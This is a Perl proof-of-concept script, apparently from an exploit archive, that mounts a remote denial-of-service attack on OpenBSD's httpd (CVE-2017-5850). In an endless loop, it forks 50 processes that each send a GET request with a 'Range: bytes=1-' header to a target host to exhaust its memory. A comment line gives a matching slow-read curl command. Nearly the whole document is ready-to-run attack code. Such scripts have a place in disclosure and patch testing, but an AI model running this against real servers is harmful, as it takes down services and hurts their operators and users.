OpenBSD http server - denial of service vulnerability(CVE-2017-5850)

                                                #!/usr/bin/perl -w
# curl --limit-rate 1 --continue-at 1 --header "Host: www.example.com" http://target/10mb.fs

use warnings;
use IO::Socket;
use Parallel::ForkManager;

$numforks = 50;

if ($#ARGV < 1)
{
  &usage;
  exit;
}

while (1) {
  &killhttpd();
}

sub usage {
  print "OpenBSD HTTP Remote Denial of Service (memory exhaustion) - @PierreKimSec\n";
  print "usage: perl killobsdhttpd.pl <host> <remotefile>\n";
}

sub killhttpd {
  print "ATTACKING $ARGV[0] [using $numforks forks]\n";

  $pm = new Parallel::ForkManager($numforks);

  for (0 .. $numforks)
  {
    my $pid = $pm->start and next;
    my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                     PeerPort => "80",
                                     Proto    => 'tcp');
    $p = "GET $ARGV[1] HTTP/1.1\r\nRange: bytes=1-\r\nAccept: */*\r\nHost: $ARGV[0]\r\nConnection: close\r\n\r\n";
    print $sock $p;
    if (<$sock>) {sleep (0.5); $sock->close();}
    $pm->finish;
  }
  $pm->wait_all_children;
}